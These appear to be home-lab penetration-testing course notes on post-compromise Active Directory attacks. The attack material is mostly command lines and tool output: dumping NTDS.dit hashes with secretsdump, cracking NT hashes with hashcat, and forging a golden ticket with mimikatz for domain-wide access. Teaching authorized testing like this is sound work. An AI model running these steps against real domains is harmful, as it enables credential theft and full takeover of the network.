

We've Compromised the Domain - Now What?

Now what?

Provide Value

- Put on blinders and do it again. Find other vulnerabilities and others ways in/around.
- Dump NTDS.dat and crack hashes
- Emumerate more. Find as much info as possible to let them know what can be found, such as sensitive information.

Persistence

- Create a DA Account (Make sure you delete it when operation is done)
- Creating Golden Ticket can be helpful as well

Dumping NTDS.dit

NTDS.dit is a database used to store AD data. This includes:

- User Info
- Group Info
- Security Descriptors
- and Password Hashes

We can use SecretsDump against the DC

```
(kali@kali)-[~]
$ secretsdump.py MARVEL.local/pparker:'Password2'@192.168.138.132 -just-dc-ntlm
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:920ae267e048417fcfe00f49ecbd4b33 :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9b2513501a69d53af33aa6cdc8915735 :::
MARVEL.local\fcastle:1103:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b :::
MARVEL.local\tstark:1104:aad3b435b51404eeaad3b435b51404ee:40d3ddcc6d42c0ac000aaafe3cb5437b :::
MARVEL.local\pparker:1105:aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0 :::
MARVEL.local\SQLService:1106:aad3b435b51404eeaad3b435b51404ee:f4ab68f27303bcb4024650d8fc5f973a :::
HYDRA-DC$:1000:aad3b435b51404eeaad3b435b51404ee:64eac4280b92bbc8783c29bd638257fc :::
THEPUNISHER$:1107:aad3b435b51404eeaad3b435b51404ee:89371d74d536c916d94daa36c1b91e41 :::
SPIDERMAN$:1108:aad3b435b51404eeaad3b435b51404ee:f49189d6b0b38ffc042742cc935c24c1 :::
[*] Cleaning up ...
```

```
secretsdump.py DOMAIN/USER:PASSWORD@DC-IP
```

```

(root@kali)-[~]
# secretsdump.py GIBSON.local/plague:'Password!'@192.168.126.131
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Target system bootKey: 0x8caa3fa871b37f94ceea16d2532b017b
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9e7c6b33d9a2dfc1c9aef53eb2837b32:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction failed: string index out of range
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
GIBSON\GIBSON-DC$:aes256-cts-hmac-sha1-96:2f991690a877fc1e262f441aa3ec823a7d47c4ddc44faeee3d2c52ce0fae2039
GIBSON\GIBSON-DC$:aes128-cts-hmac-sha1-96:a357f64b0061bf67204a26139478247b
GIBSON\GIBSON-DC$:des-cbc-md5:ecf2a8fe7cf12070
GIBSON\GIBSON-DC$:aad3b435b51404eeaad3b435b51404ee:8560afc340a7e9ea6504082833eae486:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x4dd9eedbc35ae77432d45fc6eec757373042b763
dpapi_userkey:0x0cf815c25fe2653eecec371bfab66c848d783aab
[*] NL$KM
0000 64 EB 6A 00 96 35 90 F2 9D F4 E1 CA 07 2D A1 ED d.j..5.....-...
0010 C6 F9 8E 5B BE A4 42 77 21 1C 57 4B BE E4 66 CF ...[..Bw!..WK..f.
0020 13 91 7F 7F BB 57 DE EB 79 B5 1D 80 46 94 A0 24 ....W..y...F..$
0030 8F F6 28 2A 13 BF D3 E4 99 EA 4C 7D 1C 65 36 23 ..(*.....L}.e6#
NL$KM:64eb6a00963590f29df4e1ca072da1edc6f98e5bbea44277211c574bbec466cf13917f7fbb57deeb79b51d804694a0248ff6282a13bfd3e499ea4c7d1c653623
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9e7c6b33d9a2dfc1c9aef53eb2837b32:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d92435e2656a13b5d68dea8fcb5334f:::
GIBSON.local\Nikon:1103:aad3b435b51404eeaad3b435b51404ee:217e50203a5aba59cefa863c724bf61b:::
GIBSON.local\SQLService:1104:aad3b435b51404eeaad3b435b51404ee:f4ab68f27303bcb4024650d8fc5f973a:::
GIBSON.local\joey:1108:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
GIBSON.local\Burn:1109:aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0:::
ExilIelyso:1112:aad3b435b51404eeaad3b435b51404ee:a267383a92609b146055b9c72321c6fa:::
plague:1113:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f:::
GIBSON-DC$:1000:aad3b435b51404eeaad3b435b51404ee:8560afc340a7e9ea6504082833eae486:::
NIKON-PC$:1110:aad3b435b51404eeaad3b435b51404ee:39e5fac2506c8cb4b2e7223a273bab60:::
PHREAK-PC$:1111:aad3b435b51404eeaad3b435b51404ee:64bbec2cf6d3c8a078b601283525f5d1:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:4ef963fc3d83caf30799509706eac47897c071fa83467616c323025e614150ab
Administrator:aes128-cts-hmac-sha1-96:14607a16106c0beeca981cb399c4363c
Administrator:des-cbc-md5:6d6e346b5db3f476
krbtgt:aes256-cts-hmac-sha1-96:47f8caba9752fbd8c40c13511d0ba2bb51893a0bf57345f49d1bca380ced935
krbtgt:aes128-cts-hmac-sha1-96:7c0797eed29db3b4796f33425c9a0c26
krbtgt:des-cbc-md5:ea61fb79efb52f52
GIBSON.local\Nikon:aes256-cts-hmac-sha1-96:fad775228c506a1d6f752178b5cc1010cbf3258b0fc8059a2e6e5a0afc9fd859
GIBSON.local\Nikon:aes128-cts-hmac-sha1-96:73b32cd258ab6bf2c4a6c9421190a6b0
GIBSON.local\Nikon:des-cbc-md5:983b9e9e205e927f
GIBSON.local\SQLService:aes256-cts-hmac-sha1-96:731cc666dce00a4bcbc801b7f88219d125f282c1db4be1f17245a4cf9bbf523
GIBSON.local\SQLService:aes128-cts-hmac-sha1-96:0a5713f41e97d58db58785219f4ccac9
GIBSON.local\SQLService:des-cbc-md5:f86731c4fe4a259e
GIBSON.local\joey:aes256-cts-hmac-sha1-96:e8abbc09b9f6d9deecdffaa9ce259232c336fd316c89d434c3e6f6bd75fe14bef
GIBSON.local\joey:aes128-cts-hmac-sha1-96:072595a18183fdeda15c1dba9b92c117
GIBSON.local\joey:des-cbc-md5:0d4076f7f791fb25
GIBSON.local\Burn:aes256-cts-hmac-sha1-96:b1be20ab0807b54ccf54845db704da96c669098c55efb2f720e844bacc3e87ea
GIBSON.local\Burn:aes128-cts-hmac-sha1-96:834e0d7b07f27053347e575c656fac5a
GIBSON.local\Burn:des-cbc-md5:61dccc4ffef23275
ExilIelyso:aes256-cts-hmac-sha1-96:1183bce3ad4ad4e5118251a2ca4aed9854e50fd5695614d83f4bbb801fdde733
ExilIelyso:aes128-cts-hmac-sha1-96:1028332881936ab435322768f2cb2fd5
ExilIelyso:des-cbc-md5:1fb5b97fab9889ea
plague:aes256-cts-hmac-sha1-96:6415343e0995268935872e97dec32075afb72f631327863b9b398dbe0c436dfff
plague:aes128-cts-hmac-sha1-96:70ff7660100236f6fb75cac5d45cf346
plague:des-cbc-md5:ad97892a43bf98ba

```

To dump JUST the NTDS.dit

```
secretsdump.py DOMAIN/USER:PASSWORD@DC-IP -just-dc-ntlm
```

```

(root@kali)-[~]
# secretsdump.py GIBSON.local/plague:'Password1!'@192.168.126.131 -just-dc-ntlm
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9e7c6b33d9a2dfc1c9aef53eb2837b32:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d92435e2656a13b5d68deae8fcb5334f:::
GIBSON.local\Nikon:1103:aad3b435b51404eeaad3b435b51404ee:217e50203a5aba59cefa863c724bf61b:::
GIBSON.local\SQLService:1104:aad3b435b51404eeaad3b435b51404ee:f4ab68f27303bcb4024650d8fc5f973a:::
GIBSON.local\joey:1108:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
GIBSON.local\Burn:1109:aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0:::
Exillelyso:1112:aad3b435b51404eeaad3b435b51404ee:a267383a92609b146055b9c72321c6fa:::
plague:1113:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f:::
GIBSON-DC$:1000:aad3b435b51404eeaad3b435b51404ee:8560afc340a7e9ea6504082833eae486:::
NIKON-PC$:1110:aad3b435b51404eeaad3b435b51404ee:39e5fac2506c8cb4b2e7223a273bab60:::
PHREAK-PC$:1111:aad3b435b51404eeaad3b435b51404ee:64bbec2cf6d3c8a078b601283525f5d1:::
[*] Cleaning up...

(root@kali)-[~]
# _

```

Cracking the password

We need just the NT part of the hash. The second string after the colon(:)

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9e7c6b33d9a2dfc1c9aef53eb2837b32:::
```

```
LM-> aad3b435b51404eeaad3b435b51404ee:9e7c6b33d9a2dfc1c9aef53eb2837b32 <-NT
```

We can use Excel or something similar(I used Libre Office, so Libre Calc)

We can input the data

	A	B	C	D	E	F	G	H
1	Administrator:500:aad3b435b51404eeaad3b435b51404ee:9e7c6b33d9a2dfc1c9aef53eb2837b32:::							
2	Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::							
3	krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d92435e2656a13b5d68deae8fcb5334f:::							
4	GIBSON.local\Nikon:1103:aad3b435b51404eeaad3b435b51404ee:217e50203a5aba59cefa863c724bf61b:::							
5	GIBSON.local\SQLService:1104:aad3b435b51404eeaad3b435b51404ee:f4ab68f27303bcb4024650d8fc5f973a:::							
6	GIBSON.local\joey:1108:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::							
7	GIBSON.local\Burn:1109:aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0:::							
8	Exillelyso:1112:aad3b435b51404eeaad3b435b51404ee:a267383a92609b146055b9c72321c6fa:::							
9	plague:1113:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f:::							
10	GIBSON-DC\$:1000:aad3b435b51404eeaad3b435b51404ee:8560afc340a7e9ea6504082833eae486:::							
11	NIKON-PC\$:1110:aad3b435b51404eeaad3b435b51404ee:39e5fac2506c8cb4b2e7223a273bab60:::							
12	PHREAK-PC\$:1111:aad3b435b51404eeaad3b435b51404ee:64bbec2cf6d3c8a078b601283525f5d1:::							
13								

The screenshot shows the Microsoft Excel interface with the 'Data' tab selected on the ribbon. The 'Data' dropdown menu is open, displaying various data management options. The 'Text to Columns' option is highlighted by a mouse cursor. The background shows a spreadsheet with columns A, B, and C, and rows 1 through 20. The text in the spreadsheet is partially obscured by the ribbon and menu.

and change the Delimited/Seperator to a colon(:)

Text to Columns

Import

Character set: Unicode (UTF-16)

Locale: Default - English (USA)

From row: 1

Separator Options

☐ Fixed width ☐ Separated by

☐ Tab ☐ Comma ☐ Semicolon ☐ Space ☒ Other :

☐ Merge delimiters ☐ Trim spaces String delimiter: "

Other Options

☐ Format quoted field as text ☒ Detect special numbers ☐ Skip empty cells

☒ Evaluate formulas ☒ Detect scientific notation

Fields

Column type: Standard

	Standard	Standard	Standard	Standard
1	Administrator	500	aad3b435b51404eeaad3b435b51404ee	9e7c6b33d9a2dfc1c9aef53eb2837b32

Help OK Cancel

and grab the NT hashes in an easy list

	A	B	C	D
1	Administrator	500	aad3b435b51404eeaad3b435b51404ee	9e7c6b33d9a2dfc1c9aef53eb2837b32
2	Guest	501	aad3b435b51404eeaad3b435b51404ee	31d6cfe0d16ae931b73c59d7e0c089c0
3	krbtgt	502	aad3b435b51404eeaad3b435b51404ee	d92435e2656a13b5d68deae8fcb5334f
4	SON.local\N	1103	aad3b435b51404eeaad3b435b51404ee	217e50203a5aba59cefa863c724bf61b
5	N.local\SOL	1104	aad3b435b51404eeaad3b435b51404ee	f4ab68f27303bcb4024650d8fc5f973a
6	SON.local\j	1108	aad3b435b51404eeaad3b435b51404ee	64f12cddaa88057e06a81b54e73b949b
7	SON.local\B	1109	aad3b435b51404eeaad3b435b51404ee	c39f2beb3d2ec06a62cb887fb391dee0
8	Exillelyso	1112	aad3b435b51404eeaad3b435b51404ee	a267383a92609b146055b9c72321c6fa
9	plague	1113	aad3b435b51404eeaad3b435b51404ee	7facdc498ed1680c4fd1448319a8c04f
10	GIBSON-DC	1000	aad3b435b51404eeaad3b435b51404ee	8560afc340a7e9ea6504082833eae486
11	NIKON-PC\$	1110	aad3b435b51404eeaad3b435b51404ee	39e5fac2506c8cb4b2e7223a273bab60
12	HREAK-PC	1111	aad3b435b51404eeaad3b435b51404ee	64bbec2cf6d3c8a078b601283525f5d1
13				

Put those hashes in a file

```
GNU nano 7.2
9e7c6b33d9a2dfc1c9aef53eb2837b32
31d6cfe0d16ae931b73c59d7e0c089c0
d92435e2656a13b5d68daae8fcb5334f
217e50203a5aba59cefa863c724bf61b
f4ab68f27303bcb4024650d8fc5f973a
64f12cddaa88057e06a81b54e73b949b
c39f2beb3d2ec06a62cb887fb391dee0
a267383a92609b146055b9c72321c6fa
7facdc498ed1680c4fd1448319a8c04f
8560afc340a7e9ea6504082833eae486
39e5fac2506c8cb4b2e7223a273bab60
64bbec2cf6d3c8a078b601283525f5d1
_
```

and crack them

```
hashcat -m 1000 hash-list wordlist
```

```
(root@kali)-[~]
# hashcat -m 1000 NTHashes.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=====
* Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i9-11900K @ 3.50GHz, 2910/5884 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 12 digests; 12 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

64f12cddaa88057e06a81b54e73b949b:Password1
31d6cfe0d16ae931b73c59d7e0c089c0:
c39f2beb3d2ec06a62cb887fb391dee0:Password2
7facdc498ed1680c4fd1448319a8c04f:Password1!
217e50203a5aba59cefa863c724bf61b:P@ssw0rd!
f4ab68f27303bcb4024650d8fc5f973a:MYpassword123#
```

Then we can use Vlookups, to pair the hash with the user

```
=VLOOKUP(B3,Sheet2!A:B,2,FALSE)

=VLOOKUP(D1,$Sheet2.A:B,2,0)
```

	A	B	C	D	E
1	Administrator	500	aad3b435b51404eeaad3b435b51404ee	9e7c6b33d9a2dfc1c9aef53eb2837b32	#N/A
2	Guest	501	aad3b435b51404eeaad3b435b51404ee	31d6cfe0d16ae931b73c59d7e0c089c0	
3	krbtgt	502	aad3b435b51404eeaad3b435b51404ee	d92435e2656a13b5d68daae8fcb5334f	#N/A
4	GIBSON.local\Nikon	1103	aad3b435b51404eeaad3b435b51404ee	217e50203a5aba59cefa863c724bf61b	P@ssw0rd!
5	GIBSON.local\SQLService	1104	aad3b435b51404eeaad3b435b51404ee	f4ab68f27303bcb4024650d8fc5f973a	MYpassword123#
6	GIBSON.local\joey	1108	aad3b435b51404eeaad3b435b51404ee	64f12cddaa88057e06a81b54e73b949b	Password1
7	GIBSON.local\Burn	1109	aad3b435b51404eeaad3b435b51404ee	c39f2beb3d2ec06a62cb887fb391dee0	Password2
8	Exillelysq	1112	aad3b435b51404eeaad3b435b51404ee	a267383a92609b146055b9c72321c6fa	#N/A
9	plague	1113	aad3b435b51404eeaad3b435b51404ee	7facdc498ed1680c4fd1448319a8c04f	Password1!
10	GIBSON-DC\$	1000	aad3b435b51404eeaad3b435b51404ee	8560afc340a7e9ea6504082833eae486	#N/A
11	NIKON-PC\$	1110	aad3b435b51404eeaad3b435b51404ee	9869fcfaa7f8029e328ff80db2639a91	#N/A
12	PHREAK-PC\$	1111	aad3b435b51404eeaad3b435b51404ee	42d247fea5836a605ae05e53af09fa55	#N/A

Golden Ticket Attacks Overview

- When we compromise the KRBTGT account, we own the domain
- We can request access to any resource or system, on the domain
- Golden tickets = complete access to every machine

Utilizing Mimikatz to obtain the necessary info

```
C:\Users\Administrator.AFCR-DC\Downloads>mimikatz.exe

.#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##.   "A La Vie, A L'Amour" - (oe.eo)
## / \ ##   /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##   > https://blog.gentilkiwi.com/mimikatz
'## v #'    Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####'    > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : MARVEL / S-1-5-21-1906906745-4001022521-2301571936

RID : 000001f6 (502)
User : krbtgt

* Primary
  NTLM : ece475c9f4435447d31a6cad2b49e5a6
  LM   :
```

Once we have the SID and KRBTGT hash, we can generate a ticket

```
mimikatz # kerberos::golden /User:Administrator /domain:marvel.local /sid:S-1-5-21-1906906745-4001022521-2301571936 /krbtgt:ece475c9f4435447d31a6cad2b49e5a6 /id:500 /ptt
User       : Administrator
Domain     : marvel.local (MARVEL)
SID        : S-1-5-21-1906906745-4001022521-2301571936
User Id    : 500
Groups Id  : *513 512 520 518 519
ServiceKey : ece475c9f4435447d31a6cad2b49e5a6 - rc4_hmac_nt
Lifetime   : 7/20/2023 4:08:39 PM ; 7/17/2033 4:08:39 PM ; 7/17/2033 4:08:39 PM
-> Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'Administrator @ marvel.local' successfully submitted for current session
```

With ah Golden Ticket, we can not access other machines from the command line

```
C:\Users\Administrator.AFCR-DC\Downloads>dir \\10.0.0.25\C$
Volume in drive \\10.0.0.25\C$ has no label.
Volume Serial Number is 3096-127D

Directory of \\10.0.0.25\C$

04/07/2021  10:24 AM    <DIR>          inetpub
12/07/2019  02:14 AM    <DIR>          PerfLogs
04/13/2021  09:56 AM    <DIR>          Program Files
04/07/2021  11:59 AM    <DIR>          Program Files (x86)
04/07/2021  12:00 PM    <DIR>          Python27
07/18/2023  10:01 PM    <DIR>          Users
07/18/2023  10:04 PM    <DIR>          Windows
               0 File(s)                0 bytes
               7 Dir(s)  42,276,917,248 bytes free

C:\Users\Administrator.AFCR-DC\Downloads>PsExec64.exe \\10.0.0.25 cmd.exe

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.19042.631]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
marvel\administrator

C:\Windows\system32>hostname
THEPUNISHER
```

Golden Ticket Attacks Lab

Get Mimikatz running and enable debug

```
C:\Users\Administrator\Downloads>mimikatz.exe

.#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##.   "A La Vie, A L'Amour" - (oe.eo)
## / \ ##   /** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##   > https://blog.gentilkiwi.com/mimikatz
'## v #'    Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####'    > https://pingcastle.com / https://mysmartlogon.com **/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz #
```

Run lsadump but going to run this for one user

```
lsadump::lsa /inject /name:user
```



```
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : GIBSON / S-1-5-21-3985439650-2305610252-3100888474
```

```
RID : 000001f6 (502)
```

```
User : krbtgt
```

```
* Primary
```

```
NTLM : d92435e2656a13b5d68deae8fcb5334f
```

```
LM :
```

```
Hash NTLM: d92435e2656a13b5d68deae8fcb5334f
```

```
ntlm- 0: d92435e2656a13b5d68deae8fcb5334f
```

```
lm - 0: 9a284c05084f28c5f184a5c3a34ca420
```

```
* WDigest
```

```
01 2a6d360146f588d38ed4aafa7fd31cfff
```

```
02 7c0fdb43d4afcacec8b9904005598165
```

```
03 bfd58f7425c8ef63c0d4f43b2980a205
```

```
04 2a6d360146f588d38ed4aafa7fd31cfff
```

```
05 7c0fdb43d4afcacec8b9904005598165
```

```
06 10fa7fcc66f7c89ffdef293535353576
```

```
07 2a6d360146f588d38ed4aafa7fd31cfff
```

```
08 3401a0b147f58a94a32cd961bfa339b5
```

```
09 3f99bca445983fa288d1ca439ec48728
```

```
10 c304b9748fda9598ab85ee3a666168f9
```

```
11 9f708f8fc88d535cb796f3d3521a30ee
```

```
12 3f99bca445983fa288d1ca439ec48728
```

```
13 3a30c8c62f98eb816193791dfa562614
```

```
14 9f708f8fc88d535cb796f3d3521a30ee
```

```
15 05be5366c1f6059b40f465187a837d81
```

```
16 a62fb5248c13e0752eb8b67d327e947d
```

```
17 a57f0b6bdaa9a6599f965f3919466f39
```

```
18 bd8708b64fdff5fd6e9455b7996b7b6c
```

```
19 7130a75d69c6785336313d4d0360b9b1
```

```
20 fa66a63891ac0f0d202519a176408adf
```

```
21 6638bf3a6280316d292cf4f9f540a910
```

```
22 6638bf3a6280316d292cf4f9f540a910
```

```
23 a59149db417a8525810b3e61a1da53a6
```

```
24 19e955f36f49a8ef570be6cb69c144a9
```

```
25 a318a3327f03b64adb0b734b0d7e0375
```

```
26 77d7c41933a66419d3f5d83665b0e577
```

```
27 944366312efcb53f43b827408491b905
```

```
28 9661b26ae2d96a433bb5a60aaf0a4e34
```

```
29 60832ecbf3c8fdcc684b278c11a2ac7d
```

```
* Kerberos
```

```
Default Salt : GIBSON.LOCALkrbtgt
```

```
Credentials
```

```
des_cbc_md5 : ea61fb79efb52f52
```

```
* Kerberos-Newer-Keys
```

```
Default Salt : GIBSON.LOCALkrbtgt
```

```
Default Iterations : 4096
```

```
Credentials
```

```
aes256_hmac (4096) : 47f8caba9752fbd8c40c13511d0ba2bb51893a0bf57345f49d1bca380ced935
```

```
aes128_hmac (4096) : 7c0797eed29db3b4796f33425c9a0c26
```

```
des_cbc_md5 (4096) : ea61fb79efb52f52
```

```
* NTLM-Strong-NTOWF
```

```
Random Value : f6fbff8c465f03ba8157fab71b7b4102
```

```
mimikatz #
```

We need the Domain SID and the hash of the KRBTGT Account

```
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : GIBSON / S-1-5-21-3985439650-2305610252-3100888474

RID : 000001f6 (502)
User : krbtgt

* Primary
  NTLM : d92435e2656a13b5d68deae8fcb5334f
  LM :
  Hash NTLM: d92435e2656a13b5d68deae8fcb5334f
  ntlm- 0: d92435e2656a13b5d68deae8fcb5334f
  lm - 0: 9a284c05084f28c5f184a5c3a34ca420
```

now run

```
kerberos::golden /User:Administrator /domain:domain /sid:Domain-SID
/krbtgt:hash /id:500 /ptt
```

the ID is the RID of the Administrator account, and /ptt is pass the ticket, meaning we are going to pass the ticket to the next session.

```
mimikatz # kerberos::golden /User:Administrator /domain:Gibson.local /sid:S-1-5-21-3985439650-2305610252-3100888474 /krbtgt:d92435e2656a13b5d68deae8fcb5334f /id:500 /ptt
User : Administrator
Domain : Gibson.local (GIBSON)
SID : S-1-5-21-3985439650-2305610252-3100888474
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: d92435e2656a13b5d68deae8fcb5334f - rc4_hmac_nt
Lifetime : 12/18/2023 9:27:38 AM ; 12/15/2033 9:27:38 AM ; 12/15/2033 9:27:38 AM
-> Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'Administrator @ Gibson.local' successfully submitted for current session
mimikatz #
```

If we now run

```
misc::cmd
```

We get a new command prompt that is utilizing the Golden Ticket in our current session.

```
C:\Users\Administrator\Downloads>dir \\NIKON\c$
The network path was not found.

C:\Users\Administrator\Downloads>dir \\NIKON-PC\c$
Volume in drive \\NIKON-PC\c$ has no label.
Volume Serial Number is 9291-BF79

Directory of \\NIKON-PC\c$

12/07/2019  01:14 AM    <DIR>          PerfLogs
06/29/2022  08:00 PM    <DIR>          Program Files
06/29/2022  07:51 PM    <DIR>          Program Files (x86)
11/13/2023  12:27 PM    <DIR>          Users
12/18/2023  09:27 AM    <DIR>          Windows
               0 File(s)                0 bytes
               5 Dir(s)  51,606,855,680 bytes free

C:\Users\Administrator\Downloads>
```

We can download psexec and to access other machines.